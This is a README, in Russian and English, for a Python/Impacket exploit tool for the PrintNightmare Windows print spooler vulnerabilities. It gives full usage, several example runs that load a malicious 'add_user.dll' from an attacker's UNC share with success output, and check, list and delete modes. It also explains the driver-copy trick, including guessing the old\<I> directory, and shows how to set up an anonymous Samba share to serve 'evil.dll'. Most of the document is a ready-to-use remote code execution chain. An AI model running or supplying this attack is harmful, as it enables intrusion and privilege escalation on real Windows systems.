
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Реализация на Python для PrintNightmare (CVE-2021-1675 / CVE-2021-34527) с использованием стандартного Impacket.
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
Обратите внимание, что пример с локальной DLL не использует CVE-2021-34527 для копирования DLL.
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Может потребоваться права администратора.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
PrintNightmare включает две уязвимости: CVE-2021-1675 / CVE-2021-34527.
Неадминистративному пользователю разрешается добавлять новый драйвер принтера. Эта уязвимость была исправлена путём разрешения добавления новых драйверов принтера только администраторам. Заплаченная версия диспетчера печати будет возвращать RPC_E_ACCESS_DENIED (Код: 0x8001011b), если неадминистратор попытается добавить новый драйвер принтера.
При добавлении нового драйвера принтера параметр pDataFile в DRIVER_CONTAINER допускает UNC-пути. DLL, указанная в pDataFile, не будет загружена, но будет скопирована в локальный путь, что позволит нам создать новый драйвер принтера с параметром pConfigFile, указывающим на локальный путь, который загрузит DLL. Заплаченная версия диспетчера печати будет возвращать ERROR_INVALID_PARAMETER (Код: 0x57).
Только CVE-2021-1675 необходима, если вредоносная DLL уже находится на цели.
Для PrintNightmare, если DLL не является локальным путём, то CVE-2021-34527 можно использовать для получения DLL через UNC-пути. По этой причине необходимо раздавать DLL по SMB. Если вы не знакомы с SMB и UNC, прочитайте следующий подраздел.
При создании нового драйвера принтера DLL в параметре pDataFile не будет загружена по соображениям безопасности. Однако она будет скопирована в C:\Windows\system32\spool\drivers\x64\3\. Затем мы можем создать новый драйвер принтера, использующий pConfigFile (который загрузит DLL) с локальным путём. Однако DLL используется первым драйвером принтера при создании второго драйвера. Вместо этого мы можем перезаписать первый драйвер принтера, что приведёт к копированию DLL драйвера в C:\Windows\system32\spool\drivers\x64\3\old\<I>\, где <I> увеличивается для каждой DLL. Теперь мы можем создать третий драйвер принтера, который будет использовать локальный путь C:\Windows\system32\spool\drivers\x64\3\old\<I>\, так как DLL больше не используется. Остаётся только угадать <I>, который начнёт увеличиваться с 1.
Обратите внимание, что DLL сохранит своё имя файла локально, поэтому если вы изначально запустили эксплойт с foo.dll и он сохранился в C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll, а затем изменили содержимое foo.dll локально и снова запустили эксплойт, и теперь он сохранился в C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, то будет использована исходная foo.dll, поскольку она находится в C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Вместо этого просто измените имя файла, если вы меняете содержимое DLL.
Вкратце, UNC-путь — это путь к файлу или папке в сети, а не локальный файл, и он содержит имя сервера и путь. Например, UNC-путь \\10.0.0.2\files\foo.txt — это файл foo.txt, который раздаётся с общей папки files сервера 10.0.0.2. Обычно общая папка раздаётся через SMB, но также поддерживается WebDAV. Чтобы создать SMB-шару на Linux, самый простой и надёжный способ — использовать пакет Samba.
Установка Samba с помощью apt:
$ sudo apt install samba
Отредактируйте /etc/samba/smb.conf и добавьте в конец файла следующее:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
Это создаст новую шару с именем smb и будет раздавать файлы внутри /tmp/share. Разрешается анонимный доступ, и для просмотра файлов будет использоваться локальный пользователь nobody.
Затем запустите службу Samba:
$ sudo service smbd start
Предположим, ваша Linux-машина имеет IP 192.168.1.100, и вы хотите раздать evil.dll, тогда UNC-путь в этом сценарии будет \\192.168.1.100\smb\evil.dll.